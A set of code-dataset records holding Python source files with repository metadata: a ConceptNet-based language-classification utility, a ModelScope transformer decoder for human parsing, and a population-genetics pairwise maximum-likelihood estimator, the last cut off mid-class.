"call"}, {"api_name": "odoo.exceptions.UserError", "line_number": 195, "usage_type": "call"}, {"api_name": "odoo._", "line_number": 195, "usage_type": "call"}, {"api_name": "odoo.api.multi", "line_number": 182, "usage_type": "attribute"}, {"api_name": "odoo.api", "line_number": 182, "usage_type": "name"}, {"api_name": "odoo.exceptions.UserError", "line_number": 206, "usage_type": "call"}, {"api_name": "odoo._", "line_number": 206, "usage_type": "call"}, {"api_name": "odoo.api.multi", "line_number": 203, "usage_type": "attribute"}, {"api_name": "odoo.api", "line_number": 203, "usage_type": "name"}, {"api_name": "odoo.api.multi", "line_number": 210, "usage_type": "attribute"}, {"api_name": "odoo.api", "line_number": 210, "usage_type": "name"}, {"api_name": "odoo.exceptions.UserError", "line_number": 229, "usage_type": "call"}, {"api_name": "odoo._", "line_number": 229, "usage_type": "call"}, {"api_name": "odoo.exceptions.UserError", "line_number": 232, "usage_type": "call"}, {"api_name": "odoo._", "line_number": 232, "usage_type": "call"}, {"api_name": "odoo.api.multi", "line_number": 226, "usage_type": "attribute"}, {"api_name": "odoo.api", "line_number": 226, "usage_type": "name"}, {"api_name": "odoo.api.multi", "line_number": 237, "usage_type": "attribute"}, {"api_name": "odoo.api", "line_number": 237, "usage_type": "name"}, {"api_name": "odoo.exceptions.UserError", "line_number": 258, "usage_type": "call"}, {"api_name": "odoo._", "line_number": 258, "usage_type": "call"}, {"api_name": "odoo.exceptions.UserError", "line_number": 261, "usage_type": "call"}, {"api_name": "odoo._", "line_number": 261, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 263, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 263, "usage_type": "attribute"}, {"api_name": "odoo.api.multi", "line_number": 255, "usage_type": "attribute"}, {"api_name": "odoo.api", "line_number": 255, "usage_type": "name"}, {"api_name": "odoo.exceptions.UserError", "line_number": 269, "usage_type": "call"}, {"api_name": "odoo._", "line_number": 269, "usage_type": "call"}, {"api_name": "odoo.api.multi", "line_number": 266, "usage_type": "attribute"}, {"api_name": "odoo.api", "line_number": 266, "usage_type": "name"}, {"api_name": "odoo.exceptions.UserError", "line_number": 283, "usage_type": "call"}, {"api_name": "odoo._", "line_number": 283, "usage_type": "call"}, {"api_name": "odoo.api.multi", "line_number": 273, "usage_type": "attribute"}, {"api_name": "odoo.api", "line_number": 273, "usage_type": "name"}, {"api_name": "odoo.exceptions.UserError", "line_number": 295, "usage_type": "call"}, {"api_name": "odoo._", "line_number": 295, "usage_type": "call"}, {"api_name": "odoo.api.multi", "line_number": 292, "usage_type": "attribute"}, {"api_name": "odoo.api", "line_number": 292, "usage_type": "name"}, {"api_name": "odoo.api.multi", "line_number": 300, "usage_type": "attribute"}, {"api_name": "odoo.api", "line_number": 300, "usage_type": "name"}, {"api_name": "odoo.models.TransientModel", "line_number": 316, "usage_type": "attribute"}, {"api_name": "odoo.models", "line_number": 316, "usage_type": "name"}, {"api_name": "odoo.fields.Text", "line_number": 320, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 320, "usage_type": "name"}, {"api_name": "odoo.fields.Selection", "line_number": 321, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 321, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 361, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 361, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 361, "usage_type": "call"}, {"api_name": "odoo.models.TransientModel", "line_number": 371, "usage_type": "attribute"}, {"api_name": "odoo.models", "line_number": 371, "usage_type": "name"}, {"api_name": "odoo.fields.Many2many", "line_number": 375, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 375, "usage_type": "name"}, {"api_name": "odoo.api.model", "line_number": 381, "usage_type": "attribute"}, {"api_name": "odoo.api", "line_number": 381, "usage_type": "name"}, {"api_name": "odoo.api.multi", "line_number": 392, "usage_type": "attribute"}, {"api_name": "odoo.api", "line_number": 392, "usage_type": "name"}, {"api_name": "odoo.models.TransientModel", "line_number": 404, "usage_type": "attribute"}, {"api_name": "odoo.models", "line_number": 404, "usage_type": "name"}, {"api_name": "odoo.fields.Many2many", "line_number": 408, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 408, "usage_type": "name"}, {"api_name": "odoo.api.model", "line_number": 414, "usage_type": "attribute"}, {"api_name": "odoo.api", "line_number": 414, "usage_type": "name"}, {"api_name": "odoo.api.multi", "line_number": 425, "usage_type": "attribute"}, {"api_name": "odoo.api", "line_number": 425, "usage_type": "name"}, {"api_name": "odoo.models.Model", "line_number": 437, "usage_type": "attribute"}, {"api_name": "odoo.models", "line_number": 437, "usage_type": "name"}, {"api_name": "odoo.fields.Many2one", "line_number": 441, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 441, "usage_type": "name"}, {"api_name": "odoo.fields.Many2one", "line_number": 442, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 442, "usage_type": "name"}, {"api_name": "odoo.fields.Boolean", "line_number": 443, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 443, "usage_type": "name"}]} +{"seq_id": "34465173268", "text": "import os\nimport re\nfrom opencc import OpenCC\nimport numpy as np\nfrom sklearn.metrics.pairwise import cosine_similarity as Cosin_Distance\nimport requests\nimport warnings\nwarnings.simplefilter(action='ignore', category=FutureWarning)\n\n\ndef Cosine_Similarity(main_node_embedding, other_embedding_list,\n other_name_list, TOP_N=15):\n # calculating CS of main node and other node ans sorted\n main_node_and_pos_keyword_embedding = \\\n [main_node_embedding] + other_embedding_list\n main_node_and_pos_keyword_embedding_array = \\\n np.array(main_node_and_pos_keyword_embedding)\n CS_matrix_array = Cosin_Distance(main_node_and_pos_keyword_embedding_array)\n csm_list = list()\n for i in range(CS_matrix_array.shape[1] - 1):\n csm_list.append((CS_matrix_array[0, i + 1], other_name_list[i]))\n csm_list_sorted = sorted(csm_list, reverse=True)\n csm_list_sorted_TOP = csm_list_sorted[: TOP_N]\n return csm_list_sorted_TOP\n\n\ndef detect_traditional_ch(text):\n ch_is_tradition = True\n cc = OpenCC('s2tw')\n text_convert = cc.convert(text)\n if text != text_convert:\n ch_is_tradition = False\n return ch_is_tradition\n\n\ndef language_classifier(text):\n # ONLY support traditional/simple chinese | Japanese | Korean | English\n # traditional/simple chinese\n re_words_ch = re.compile(u\"[\\u4e00-\\u9fa5]+\")\n res_ch = re.findall(re_words_ch, text)\n # Japanese\n re_words_jp = re.compile(u\"[\\u30a0-\\u30ff\\u3040-\\u309f]+\")\n res_jp = re.findall(re_words_jp, text)\n # korean\n re_words_ko = re.compile(u\"[\\uac00-\\ud7ff]+\")\n res_ko = re.findall(re_words_ko, text)\n # English\n re_words_en = re.compile(u\"[a-zA-Z]\")\n res_en = re.findall(re_words_en, text)\n\n part_word_ch, part_word_jp, part_word_ko = '', '', ''\n if len(res_ch) > 0:\n part_word_ch = ''.join(res_ch)\n if len(res_jp) > 0:\n part_word_jp = ''.join(res_jp)\n if len(res_ko) > 0:\n part_word_ko = ''.join(res_ko)\n used_language = list()\n if len(part_word_ch) > 0 and \\\n len(part_word_jp) == 0 and \\\n len(part_word_ko) == 0:\n if detect_traditional_ch(text):\n used_language.append('traditional_ch')\n else:\n used_language.append('simple_ch')\n if len(part_word_jp) > 0 and len(part_word_ko) == 0:\n used_language.append('jp')\n if len(part_word_ch) == 0 and \\\n len(part_word_jp) == 0 and \\\n len(part_word_ko) > 0:\n used_language.append('ko')\n if len(part_word_ch) == 0 and \\\n len(part_word_jp) == 0 and \\\n len(part_word_ko) == 0:\n if len(res_en) > 0:\n used_language.append('en')\n used_language = list(set(used_language))\n return used_language\n\n\ndef seq_language_classifier(seq_text):\n language2used_num = dict()\n for i in range(len(seq_text)): \n used_ln = language_classifier(seq_text[i])\n if len(used_ln) == 1:\n if used_ln[0] not in language2used_num:\n language2used_num[used_ln[0]] = 0\n language2used_num[used_ln[0]] +=1\n ln_list = list(language2used_num.keys())\n used_num_and_ln = [(language2used_num[ln],ln) for ln in ln_list]\n seq_main_used_language = max(used_num_and_ln)[1]\n return seq_main_used_language\n\n\n\n\ndef forecasting_result_TO_endpoint(forecasting_result, path):\n try:\n os.remove(path)\n except FileNotFoundError:\n a = 0\n with open(path, 'w') as f:\n for i in range(len(forecasting_result)):\n if i != len(forecasting_result) -1:\n f.write(forecasting_result[i] + ',')\n else:\n f.write(forecasting_result[i])\n\n\ndef crawl_sub_KG(keyword):\n used_language = language_classifier(keyword)\n if len(used_language) == 1:\n if used_language[0] == 'traditional_ch' or used_language[0] == 'simple_ch':\n ln = 'zh'\n else:\n ln = used_language[0]\n url = 'http://api.conceptnet.io/c/' + ln + '/' + keyword + '?limit=9999999999'\n obj = requests.get(url).json()\n return obj\n else:\n return None", "repo_name": "ChengHSUHSU/ASA-Search-Term-Recommender", "sub_path": "Recommender/util.py", "file_name": "util.py", "file_ext": "py", "file_size_in_byte": 4134, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "warnings.simplefilter", "line_number": 8, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 17, "usage_type": "call"}, {"api_name": "sklearn.metrics.pairwise.cosine_similarity", "line_number": 18, "usage_type": "call"}, {"api_name": "opencc.OpenCC", "line_number": 29, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 39, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 40, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 42, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 43, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 45, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 46, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 48, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 49, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 99, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 118, "usage_type": "call"}]} +{"seq_id": "22859149258", "text": "# The implementation is adopted from Mask2Former, made publicly available under the MIT License at\n# https://github.com/facebookresearch/Mask2Former\n\nimport torch\nfrom torch import nn\nfrom torch.nn import functional as F\n\nfrom modelscope.models.cv.image_colorization.ddcolor.utils.transformer_utils import (\n MLP, CrossAttentionLayer, FFNLayer, SelfAttentionLayer)\nfrom modelscope.models.cv.image_instance_segmentation.maskdino.position_encoding import \\\n PositionEmbeddingSine\nfrom modelscope.models.cv.image_instance_segmentation.maskdino.utils import \\\n Conv2d\n\n\nclass MultiScaleMaskedTransformerDecoder(nn.Module):\n\n def __init__(\n self,\n in_channels,\n mask_classification=True,\n *,\n num_classes: int,\n hidden_dim: int,\n num_queries: int,\n nheads: int,\n dim_feedforward: int,\n dec_layers: int,\n pre_norm: bool,\n mask_dim: int,\n enforce_input_project: bool,\n ):\n \"\"\"\n NOTE: this interface is experimental.\n Args:\n in_channels: channels of the input features\n mask_classification: whether to add mask classifier or not\n num_classes: number of classes\n hidden_dim: Transformer feature dimension\n num_queries: number of queries\n nheads: number of heads\n dim_feedforward: feature dimension in feedforward network\n dec_layers: number of Transformer decoder layers\n pre_norm: whether to use pre-LayerNorm or not\n mask_dim: mask feature dimension\n enforce_input_project: add input project 1x1 conv even if input\n channels and hidden dim is identical\n \"\"\"\n super().__init__()\n\n assert mask_classification, 'Only support mask classification model'\n self.mask_classification = mask_classification\n\n # positional encoding\n N_steps = hidden_dim // 2\n self.pe_layer = PositionEmbeddingSine(N_steps, normalize=True)\n\n # define Transformer decoder here\n self.num_heads = nheads\n self.num_layers = dec_layers\n self.num_classes = num_classes\n self.transformer_self_attention_layers = nn.ModuleList()\n self.transformer_cross_attention_layers = nn.ModuleList()\n self.transformer_ffn_layers = nn.ModuleList()\n\n for _ in range(self.num_layers):\n self.transformer_self_attention_layers.append(\n SelfAttentionLayer(\n d_model=hidden_dim,\n nhead=nheads,\n dropout=0.0,\n normalize_before=pre_norm,\n ))\n\n self.transformer_cross_attention_layers.append(\n CrossAttentionLayer(\n d_model=hidden_dim,\n nhead=nheads,\n dropout=0.0,\n normalize_before=pre_norm,\n ))\n\n self.transformer_ffn_layers.append(\n FFNLayer(\n d_model=hidden_dim,\n dim_feedforward=dim_feedforward,\n dropout=0.0,\n normalize_before=pre_norm,\n ))\n\n self.decoder_norm = nn.LayerNorm(hidden_dim)\n\n self.num_queries = num_queries\n # learnable query features\n self.query_feat = nn.Embedding(num_queries, hidden_dim)\n # learnable query p.e.\n self.query_embed = nn.Embedding(num_queries, hidden_dim)\n\n # level embedding (we always use 3 scales)\n self.num_feature_levels = 3\n self.level_embed = nn.Embedding(self.num_feature_levels, hidden_dim)\n self.input_proj = nn.ModuleList()\n for _ in range(self.num_feature_levels):\n if in_channels != hidden_dim or enforce_input_project:\n self.input_proj.append(\n Conv2d(in_channels, hidden_dim, kernel_size=1))\n else:\n self.input_proj.append(nn.Sequential())\n\n # output FFNs\n if self.mask_classification:\n self.class_embed = nn.Linear(hidden_dim, num_classes + 1)\n self.mask_embed = MLP(hidden_dim, hidden_dim, mask_dim, 3)\n\n def forward(self, x, mask_features, mask=None):\n # x is a list of multi-scale feature\n assert len(x) == self.num_feature_levels\n src = []\n pos = []\n size_list = []\n\n # disable mask, it does not affect performance\n del mask\n\n for i in range(self.num_feature_levels):\n size_list.append(x[i].shape[-2:])\n pos.append(self.pe_layer(x[i], None).flatten(2))\n src.append(self.input_proj[i](x[i]).flatten(2)\n + self.level_embed.weight[i][None, :, None])\n\n # flatten NxCxHxW to HWxNxC\n pos[-1] = pos[-1].permute(2, 0, 1)\n src[-1] = src[-1].permute(2, 0, 1)\n\n _, bs, _ = src[0].shape\n\n # QxNxC\n query_embed = self.query_embed.weight.unsqueeze(1).repeat(1, bs, 1)\n output = self.query_feat.weight.unsqueeze(1).repeat(1, bs, 1)\n\n predictions_class = []\n predictions_mask = []\n\n # prediction heads on learnable query features\n outputs_class, outputs_mask, attn_mask = self.forward_prediction_heads(\n output, mask_features, attn_mask_target_size=size_list[0])\n predictions_class.append(outputs_class)\n predictions_mask.append(outputs_mask)\n\n for i in range(self.num_layers):\n level_index = i % self.num_feature_levels\n attn_mask[torch.where(\n attn_mask.sum(-1) == attn_mask.shape[-1])] = False\n # attention: cross-attention first\n output = self.transformer_cross_attention_layers[i](\n output,\n src[level_index],\n memory_mask=attn_mask,\n memory_key_padding_mask=\n None, # here we do not apply masking on padded region\n pos=pos[level_index],\n query_pos=query_embed)\n\n output = self.transformer_self_attention_layers[i](\n output,\n tgt_mask=None,\n tgt_key_padding_mask=None,\n query_pos=query_embed)\n\n # FFN\n output = self.transformer_ffn_layers[i](output)\n\n outputs_class, outputs_mask, attn_mask = \\\n self.forward_prediction_heads(\n output, mask_features, attn_mask_target_size=size_list[(i + 1) % self.num_feature_levels])\n predictions_class.append(outputs_class)\n predictions_mask.append(outputs_mask)\n\n assert len(predictions_class) == self.num_layers + 1\n\n out = {\n 'pred_logits':\n predictions_class[-1],\n 'pred_masks':\n predictions_mask[-1],\n 'aux_outputs':\n self._set_aux_loss(\n predictions_class if self.mask_classification else None,\n predictions_mask)\n }\n return out\n\n def forward_prediction_heads(self, output, mask_features,\n attn_mask_target_size):\n decoder_output = self.decoder_norm(output)\n decoder_output = decoder_output.transpose(0, 1)\n outputs_class = self.class_embed(decoder_output)\n mask_embed = self.mask_embed(decoder_output)\n outputs_mask = torch.einsum('bqc,bchw->bqhw', mask_embed,\n mask_features)\n\n attn_mask = F.interpolate(\n outputs_mask,\n size=attn_mask_target_size,\n mode='bilinear',\n align_corners=False)\n attn_mask = (attn_mask.sigmoid().flatten(2).unsqueeze(1).repeat(\n 1, self.num_heads, 1, 1).flatten(0, 1) < 0.5).bool()\n attn_mask = attn_mask.detach()\n\n return outputs_class, outputs_mask, attn_mask\n\n @torch.jit.unused\n def _set_aux_loss(self, outputs_class, outputs_seg_masks):\n if self.mask_classification:\n return [{\n 'pred_logits': a,\n 'pred_masks': b\n } for a, b in zip(outputs_class[:-1], outputs_seg_masks[:-1])]\n else:\n return [{'pred_masks': b} for b in outputs_seg_masks[:-1]]\n", "repo_name": "modelscope/modelscope", "sub_path": "modelscope/models/cv/image_human_parsing/m2fp/m2fp_decoder.py", "file_name": "m2fp_decoder.py", "file_ext": "py", "file_size_in_byte": 8257, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4825, "dataset": "github-code", "pt": "16", "api": [{"api_name": "torch.nn.Module", "line_number": 16, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 16, "usage_type": "name"}, {"api_name": "modelscope.models.cv.image_instance_segmentation.maskdino.position_encoding.PositionEmbeddingSine", "line_number": 56, "usage_type": "call"}, {"api_name": "torch.nn.ModuleList", "line_number": 62, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 62, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 63, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 63, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 64, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 64, "usage_type": "name"}, {"api_name": "modelscope.models.cv.image_colorization.ddcolor.utils.transformer_utils.SelfAttentionLayer", "line_number": 68, "usage_type": "call"}, {"api_name": "modelscope.models.cv.image_colorization.ddcolor.utils.transformer_utils.CrossAttentionLayer", "line_number": 76, "usage_type": "call"}, {"api_name": "modelscope.models.cv.image_colorization.ddcolor.utils.transformer_utils.FFNLayer", "line_number": 84, "usage_type": "call"}, {"api_name": "torch.nn.LayerNorm", "line_number": 91, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 91, "usage_type": "name"}, {"api_name": "torch.nn.Embedding", "line_number": 95, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 95, "usage_type": "name"}, {"api_name": "torch.nn.Embedding", "line_number": 97, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 97, "usage_type": "name"}, {"api_name": "torch.nn.Embedding", "line_number": 101, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 101, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 102, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 102, "usage_type": "name"}, {"api_name": "modelscope.models.cv.image_instance_segmentation.maskdino.utils.Conv2d", "line_number": 106, "usage_type": "call"}, {"api_name": "torch.nn.Sequential", "line_number": 108, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 108, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 112, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 112, "usage_type": "name"}, {"api_name": "modelscope.models.cv.image_colorization.ddcolor.utils.transformer_utils.MLP", "line_number": 113, "usage_type": "call"}, {"api_name": "torch.where", "line_number": 152, "usage_type": "call"}, {"api_name": "torch.einsum", "line_number": 199, "usage_type": "call"}, {"api_name": "torch.nn.functional.interpolate", "line_number": 202, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 202, "usage_type": "name"}, {"api_name": "torch.jit", "line_number": 213, "usage_type": "attribute"}]} +{"seq_id": "22889823510", "text": "'''\nCreated on March 2nd, 2017:\n@Harald: Contains class for MLE estimaton. Based on\na simple model for pairwise coalescence.\nIt sums up all pairwise likelihoods. This makes it a\ncomposite Maximum Likelihood scheme.\n'''\n\nfrom statsmodels.base.model import GenericLikelihoodModel\nfrom kernels import fac_kernel\nfrom time import time\nfrom tensorflow.python.framework import ops\nfrom tensorflow.python.ops import gen_nn_ops\nfrom random import shuffle \nfrom scipy.stats import sem\nfrom analysis import Fit_class\nfrom scipy.optimize.minpack import curve_fit\nfrom analysis import group_inds\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport tensorflow as tf\nimport cPickle as pickle\nimport gc\n \nclass MLE_pairwise(GenericLikelihoodModel):\n '''\n Class for MLE estimation. Inherits from GenericLikelihoodModel.\n This there to automatically run Maximum Likelihood Estimation.\n coords (nx2) and genotypes (nxk) are saved in self.exog and self.endog.\n '''\n # Diverse variables:\n estimates = [] # Array for the fitted estimates\n start_params = [] # The starting Parameters for the Fit\n kernel = 0 # Class that can calculate the Kernel\n fixed_params = np.array([200, 0.001, 1.0, 0.]) # Full array nbh, L , t0 , ss. Default Value.\n param_mask = np.array([0, 1, 3]) # Parameter Mask used to change specific Parameters\n nr_params = 0\n parameter_names = []\n mps = [] \n \n def __init__(self, kernel_class, coords, genotypes, start_params=None,\n param_mask=None, multi_processing=0, fixed_params=None, **kwds):\n '''Initializes the Class.'''\n self.kernel = fac_kernel(kernel_class) # Loads the kernel object. Use factory funciton to branch\n self.kernel.multi_processing = multi_processing # Whether to do multi-processing: 1 yes / 0 no\n exog = coords # The exogenous Variables are the coordinates\n endog = genotypes # The endogenous Variables are the Genotypes\n \n self.mps = np.array([np.pi / 2.0 for _ in range(np.shape(genotypes)[1])]) # Set everything corresponding to p=0.5 (in f_space for ArcSin Model)\n \n super(MLE_pairwise, self).__init__(endog, exog, **kwds) # Run initializer of full MLE object.\n \n # Load Parameters and Parameter names\n self.nr_params = self.kernel.give_nr_parameters()\n self.parameter_names = self.kernel.give_parameter_names()\n if start_params != None:\n self.start_params = start_params \n if param_mask != None:\n self.param_mask = param_mask\n if fixed_params !=None:\n self.fixed_params = np.array(fixed_params)\n\n \n \n # Some Output that everything loaded successfully:\n nr_inds, nr_loci = np.shape(genotypes)\n print(\"Successfully Loaded MLE-Object.\")\n print(\"Nr inds: %i\" % nr_inds)\n print(\"Nr loci: %i \\n\" % nr_loci)\n \n print(\"MultiProcessing for Kernel: %i\" % self.kernel.multi_processing)\n \n def loglike(self, params):\n '''Return Log Likelihood of the Genotype-Matrix given Coordinate-Matrix.'''\n # First some out-put what the current Parameters are:\n print(\"Calculating Likelihood...\")\n print(\"Fitting Params:\")\n print(params)\n params = self.expand_params(params) # Expands Parameters to full array\n for i in xrange(self.nr_params):\n print(self.parameter_names[i] + \":\\t %.4f\" % params[i])\n \n if np.min(params) < 0: # If any Parameters non-positive - return infinite negative ll\n ll = -np.inf\n print(\"Total log likelihood: %.4f \\n\" % ll)\n return ll # Return the log likelihood\n \n tic = time() \n \n # Calculate Kernel matrix\n coords = self.exog\n print(\"Maximum Memory usage before Kernel calculation: %.4f MB\" % memory_usage_resource())\n self.kernel.set_parameters(params)\n print(\"Parameters sent to Kernel:\")\n print(self.kernel.give_parameters())\n kernel_mat = self.kernel.calc_kernel_mat(coords) \n \n # Calculate Log Likelihood\n var = params[-1] # Assumes that the last parameter of the param-vector gives the all. freq. Variance.\n ll = self.likelihood_function(kernel_mat, var)\n \n toc = time()\n print(\"Maximum Memory usage: %.4f MB\" % memory_usage_resource())\n print(\"Total runtime: %.4f \" % (toc - tic))\n print(\"Total log likelihood: %.4f \\n\" % ll)\n return ll # Return the log likelihood\n \n def likelihood_function(self, kernel_mat, var):\n '''Function to calculate pairwise likelihood directly from simple model'''\n genotypes = self.endog \n nr_inds, nr_loci = np.shape(genotypes)\n mean_ps = np.mean(genotypes, axis=0)\n \n # Calculate Mean and Variance. Do it empirically\n # p_mean = np.mean(mean_ps)\n # p_var = np.var(mean_ps)\n \n # Estimate the variance:\n p_mean = 0.5\n p_var = var\n \n print(\"Mean Allele Freq: %.4f\" % p_mean)\n print(\"Variance in Allele Freq: %.4f\" % p_var)\n \n print(\"Calculating Likelihood...\")\n # Set Mean and Variance of the opposing genotypes.\n q_mean, q_var = 1 - p_mean, p_var\n \n inds = np.triu_indices(nr_inds, 1) # Only take everything above diagonal.\n \n def ll_per_locus(genotypes, inds):\n '''Calculates the likelihood per locus - Written to save Memory.\n Genotype: Single array of genotypes. But also works for multiple rows - Warning: Memory \n Inds: Which positions to use in difference Matrix.'''\n # Calculates Matrix of mismatches of Genotype pairs. \n genotype_mat = np.abs(genotypes[:, None] - genotypes[None, :]) \n genotypes11 = genotypes[:, None] * genotypes[None, :] # Where both genotypes are 1.\n genotypes00 = (1 - genotypes[:, None]) * (1 - genotypes[None, :]) # Where both genotypes are 0.\n \n # Extract upper triangular values into vectors to avoid double calculation:\n genotype_vec = genotype_mat[inds] # Gives list of lists of differences.\n genotype11_vec = genotypes11[inds] # Gives list where both are 1.\n genotype00_vec = genotypes00[inds] # Gives list where both are 0.\n kernel_vec = kernel_mat[inds] # Gives list\n \n # Do the composite likelihood Calculations:\n ll_same0 = genotype00_vec * (kernel_vec * q_mean + (1 - kernel_vec) * (q_var + q_mean ** 2))\n ll_same1 = genotype11_vec * (kernel_vec * p_mean + (1 - kernel_vec) * (p_var + p_mean ** 2))\n ll_different = genotype_vec * (1 - kernel_vec) * (p_mean - p_var - p_mean ** 2) # That works. check\n \n ll = np.sum(np.log((ll_same0 + ll_same1 + ll_different))) # Calulate the sum of all log-likelihoods. There should be no more 0.\n return ll # Return the Log Likelihood\n \n ll_vec = [ll_per_locus(genotype_row, inds) for genotype_row in genotypes.T] # calculates ll per locus. Iterate over columns of matrix\n total_ll = np.sum(ll_vec) # Sum all log likelihoods\n return total_ll # Return the total Likelihood.\n \n \n def fit(self, start_params=None, maxiter=500, maxfun=1000, **kwds): # maxiter was 5000; maxfun was 5000\n # we have one additional parameter and we need to add it for summary\n if start_params == None:\n start_params = self.start_params # Set the starting parameters for the fit\n \n # Check whether the length of the start parameters is actually right:\n assert(len(start_params) == len(self.param_mask)) \n \n fit = super(MLE_pairwise, self).fit(start_params=start_params,\n maxiter=maxiter, maxfun=maxfun,\n **kwds)\n self.estimates = fit.params\n return fit \n \n def expand_params(self, params):\n '''Method to expand subparameters as defined in self.param_mask to full parameters'''\n all_params = self.fixed_params\n all_params[self.param_mask] = params # Set the subarray\n return all_params\n \n def likelihood_surface(self, range1, range2, wp1, wp2, fix_params, true_vals):\n '''Method for creating and visualizing likelihood surface.\n w p ...which parameters.\n fix_params: Fixed Parameters.\n Range1 and Range2 are vectors'''\n res = [] # Vector for the results.\n \n for val1 in range1:\n for val2 in range2:\n # Set the Parameters\n fix_params[wp1] = val1\n fix_params[wp2] = val2\n ll = self.loglike(params)\n res.append(ll)\n \n pickle.dump(res, open(\"temp_save.p\", \"wb\")) # Pickle\n self.plot_loglike_surface(range1, range2, true_vals, res) # Plots the Data\n \n def plot_loglike_surface(self, range1, range2, true_vals, res):\n '''Method to plot the loglikelihood surface'''\n surface = np.array(res).reshape((len(range1), len(range2)))\n \n plt.figure()\n plt.pcolormesh(range2, range1, surface) # L and nbh\n # pylab.pcolormesh(, a_list, surface)\n plt.xscale('log')\n plt.yscale('log')\n # pylab.xlabel('L')\n # pylab.ylabel('Nbh Size')\n plt.colorbar()\n # pylab.plot(25, 0.1, 'ko', linewidth=5)\n plt.plot(true_vals[1], true_vals[0], 'ko', linewidth=5)\n plt.show()\n \n # Now one Plot were the \n plt.figure()\n levels = np.arange(max(res) - 30, max(res) + 1, 2) # Every two likelihood units\n # ax=pylab.contourf(l_list, a_list, surface, alpha=0.9, levels=levels)\n ax = plt.contourf(range2, range1, surface, alpha=0.9, levels=levels)\n \n cb = plt.colorbar(ax, format=\"%i\")\n cb.ax.tick_params(labelsize=16)\n plt.title(\"Log Likelihood Surface\", fontsize=20)\n plt.xlabel(\"L\", fontsize=20) # l\n plt.ylabel(\"NBH\", fontsize=20) # a\n plt.xticks(fontsize=16)\n plt.yticks(fontsize=16)\n plt.xscale('log')\n plt.yscale('log')\n plt.plot(0.001, 62.8 * 4, 'ko', linewidth=5, label=\"True Value\")\n plt.legend()\n plt.tight_layout()\n plt.show()\n \n################################################################################################################################ \n################################################################################################################################\n\nclass MLE_f_emp(GenericLikelihoodModel):\n '''\n Class for MLE estimation. Inherits from GenericLikelihoodModel.\n This there to automatically run Maximum Likelihood Estimation.\n coords (nx2) and genotypes (nxk) are saved in self.exog and self.endog.\n One does a curve Fit via the Scipy model to fit all pairwise empirical estimates of F.\n The error is then estimated by taking the residuals (and curve fit assumes them equally distributed)\n '''\n # Diverse variables:\n estimates = [] # Array for the fitted estimates\n fixed_params = [] # Vector of all params that are fixed\n start_params = [] # The starting Parameters for the Fit\n kernel = 0 # Class that can calculate the Kernel\n nr_params = 0\n parameter_names = []\n nr_ind_demes = [] # Nr of Individuals per Deme \n fit_params = [] # Which parameters to fit - the rest is fixed to start parameters\n min_distance = 0 # The minimum pairwise Distance that is analyzed\n inds = [] # Which indices to use based on min pw. distance\n fit_t0 = 0 # Whether to fit t0 as well\n \n def __init__(self, kernel_class, coords, genotypes, multi_processing=0,\n fit_t0=0, min_dist=0, max_dist=0, nr_inds=[],\n fit_params=[], fixed_params=[], start_params=[], **kwds):\n '''Initializes the Class and loads everything'''\n self.kernel = fac_kernel(kernel_class) # Loads the kernel object. Use factory funciton to branch\n self.kernel.multi_processing = multi_processing # Whether to do multi-processing: 1 yes / 0 no\n self.min_distance = min_dist # What is the minimum Distance for pairs\n self.max_distance = max_dist # What is the maximum Distance for pairs\n \n if max_dist == 0:\n self.max_distance = np.inf # Set maximum Distance to Infinity in case not given.\n self.fit_t0 = fit_t0\n exog = coords # The exogenous Variables are the coordinates\n endog = genotypes # The endogenous Variables are the Genotypes\n \n if len(nr_inds) == 0: # In case no Nr. of Inds per Deme supplied; \n self.nr_ind_demes = np.ones(len(coords)) # Set everything to 1.\n else: self.nr_ind_demes = nr_inds\n \n \n super(MLE_f_emp, self).__init__(endog, exog, **kwds) # Run initializer of full MLE object.\n \n # Load Parameters and Parameter names\n self.nr_params = self.kernel.give_nr_parameters()\n self.parameter_names = self.kernel.give_parameter_names()\n\n \n # Sets the fixed Parameters; i.e. the base for fitting:\n if len(fixed_params) == 0:\n raise RuntimeError(\"Supply Fixed Parameters!!\")\n else: self.fixed_params = np.array(fixed_params)\n \n assert(len(self.fixed_params)==self.kernel.give_nr_parameters()) # Sanity Check.\n \n # Load which parameters to fit:\n if len(fit_params) == 0:\n 